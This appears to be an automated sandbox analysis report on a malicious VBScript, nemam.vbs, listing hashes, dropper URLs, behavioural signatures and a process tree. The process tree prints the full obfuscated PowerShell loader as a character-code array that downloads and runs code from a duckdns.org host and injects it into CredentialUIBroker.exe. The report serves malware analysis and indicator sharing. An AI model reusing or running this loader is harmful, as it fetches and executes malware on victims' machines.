Analysis
- max time kernel
120s - max time network
120s - platform
windows10_x64 - resource
win10 - submitted
10/07/2020, 10:54
Static task
static1
Behavioral task
behavioral1
Sample
nemam.vbs
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
nemam.vbs
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target nemam.vbs
- Size 7KB
- Sample200710-1s5qz4bfhs
- SHA256 76539c09f989d3cc938d6984f9ee8b6680fe2416822d63bf53a1712aaf9b695f
- MD5 f0180faba8f1448ee04266bb11455c26
- SHA1 54ebffe0cb2e506f58ca3bdf8bf6c616a9d45543
- SHA512 b05ad10099dad4827e0b69e991fc84ea2296b9a01dfe825519bd11e8f819a543bec038d0b3ba94b50b2f906c77d3e48098d288efba773cab4d6f51dff43375bf
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
http://newmam34.duckdns.org/newmam/737.mt
-
ps1.dropper
http://newmam34.duckdns.org/newmam/oldmama.m83
Signatures
- Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3044 wrote to memory of 3448 3044 WScript.exe 67 PID 3044 wrote to memory of 3448 3044 WScript.exe 67 PID 3044 wrote to memory of 3340 3044 WScript.exe 68 PID 3044 wrote to memory of 3340 3044 WScript.exe 68 PID 3044 wrote to memory of 3348 3044 WScript.exe 69 PID 3044 wrote to memory of 3348 3044 WScript.exe 69 PID 3336 wrote to memory of 548 3336 Powershell.exe 73 PID 3336 wrote to memory of 548 3336 Powershell.exe 73 PID 3336 wrote to memory of 3024 3336 Powershell.exe 74 PID 3336 wrote to memory of 3024 3336 Powershell.exe 74 PID 3336 wrote to memory of 3956 3336 Powershell.exe 75 PID 3336 wrote to memory of 3956 3336 Powershell.exe 75 PID 3336 wrote to memory of 3696 3336 Powershell.exe 76 PID 3336 wrote to memory of 3696 3336 Powershell.exe 76 PID 3336 wrote to memory of 2976 3336 Powershell.exe 77 PID 3336 wrote to memory of 2976 3336 Powershell.exe 77 - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3336 3568 Powershell.exe 70 - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 3336 Powershell.exe Token: SeIncreaseQuotaPrivilege 3336 Powershell.exe Token: SeSecurityPrivilege 3336 Powershell.exe Token: SeTakeOwnershipPrivilege 3336 Powershell.exe Token: SeLoadDriverPrivilege 3336 Powershell.exe Token: SeSystemProfilePrivilege 3336 Powershell.exe Token: SeSystemtimePrivilege 3336 Powershell.exe Token: SeProfSingleProcessPrivilege 3336 Powershell.exe Token: SeIncBasePriorityPrivilege 3336 Powershell.exe Token: SeCreatePagefilePrivilege 3336 Powershell.exe Token: SeBackupPrivilege 3336 Powershell.exe Token: SeRestorePrivilege 3336 Powershell.exe Token: SeShutdownPrivilege 3336 Powershell.exe Token: SeDebugPrivilege 3336 Powershell.exe Token: SeSystemEnvironmentPrivilege 3336 Powershell.exe Token: SeRemoteShutdownPrivilege 3336 Powershell.exe Token: SeUndockPrivilege 3336 Powershell.exe Token: SeManageVolumePrivilege 3336 Powershell.exe Token: 33 3336 Powershell.exe Token: 34 3336 Powershell.exe Token: 35 3336 Powershell.exe Token: 36 3336 Powershell.exe Token: SeIncreaseQuotaPrivilege 3336 Powershell.exe Token: SeSecurityPrivilege 3336 Powershell.exe Token: SeTakeOwnershipPrivilege 3336 Powershell.exe Token: SeLoadDriverPrivilege 3336 Powershell.exe Token: SeSystemProfilePrivilege 3336 Powershell.exe Token: SeSystemtimePrivilege 3336 Powershell.exe Token: SeProfSingleProcessPrivilege 3336 Powershell.exe Token: SeIncBasePriorityPrivilege 3336 Powershell.exe Token: SeCreatePagefilePrivilege 3336 Powershell.exe Token: SeBackupPrivilege 3336 Powershell.exe Token: SeRestorePrivilege 3336 Powershell.exe Token: SeShutdownPrivilege 3336 Powershell.exe Token: SeDebugPrivilege 3336 Powershell.exe Token: SeSystemEnvironmentPrivilege 3336 Powershell.exe Token: SeRemoteShutdownPrivilege 3336 Powershell.exe Token: SeUndockPrivilege 3336 Powershell.exe Token: SeManageVolumePrivilege 3336 Powershell.exe Token: 33 3336 Powershell.exe Token: 34 3336 Powershell.exe Token: 35 3336 Powershell.exe Token: 36 3336 Powershell.exe - Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe 3336 Powershell.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 4 3336 Powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nemam.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay2⤵PID:3448
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay2⤵PID:3340
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay2⤵PID:3348
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $0C785E286C8436BBCBAF0E5E0BCBE5F27BD6BD86CBE294191A0D6CAD69284250C9341AE41850F277786BC91AC77791AF2692=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,35,35,35,35,108,111,97,100,83,116,114,105,35,35,35,35,103,39,46,114,101,112,108,97,99,101,40,39,35,35,35,35,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,110,101,119,109,97,109,51,52,46,100,117,99,107,100,110,115,46,111,114,103,47,110,101,119,109,97,109,47,55,51,55,46,109,116,39,41,124,73,96,69,96,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,35,35,35,35,108,111,97,100,83,116,114,105,35,35,35,35,103,39,46,114,101,112,108,97,99,101,40,39,35,35,35,35,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,110,101,119,109,97,109,51,52,46,100,117,99,107,100,110,115,46,111,114,103,47,110,101,119,109,97,109,47,111,108,100,109,97,109,97,46,109,56,51,39,41,46,114,101,112,108,97,99,101,40,39,36,36,36,37,37,39,44,39,48,120,39,41,124,73,96,69,96,88,59,91,72,97,110,100,108,101,82,117,110,93,58,58,65,115,121,110,99,104,114,111,110,111,117,115,40,39,67,114,101,100,101,110,116,105,97,108,85,73,66,114,111,107,101,114,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($0C785E286C8436BBCBAF0E5E0BCBE5F27BD6BD86CBE294191A0D6CAD69284250C9341AE41850F277786BC91AC77791AF2692)|I`E`X1⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3336 -
C:\WINDOWS\system32\CredentialUIBroker.exe"{path}"2⤵PID:548
-
-
C:\WINDOWS\system32\CredentialUIBroker.exe"{path}"2⤵PID:3024
-
-
C:\WINDOWS\system32\CredentialUIBroker.exe"{path}"2⤵PID:3956
-
-
C:\WINDOWS\system32\CredentialUIBroker.exe"{path}"2⤵PID:3696
-
-
C:\WINDOWS\system32\CredentialUIBroker.exe"{path}"2⤵PID:2976
-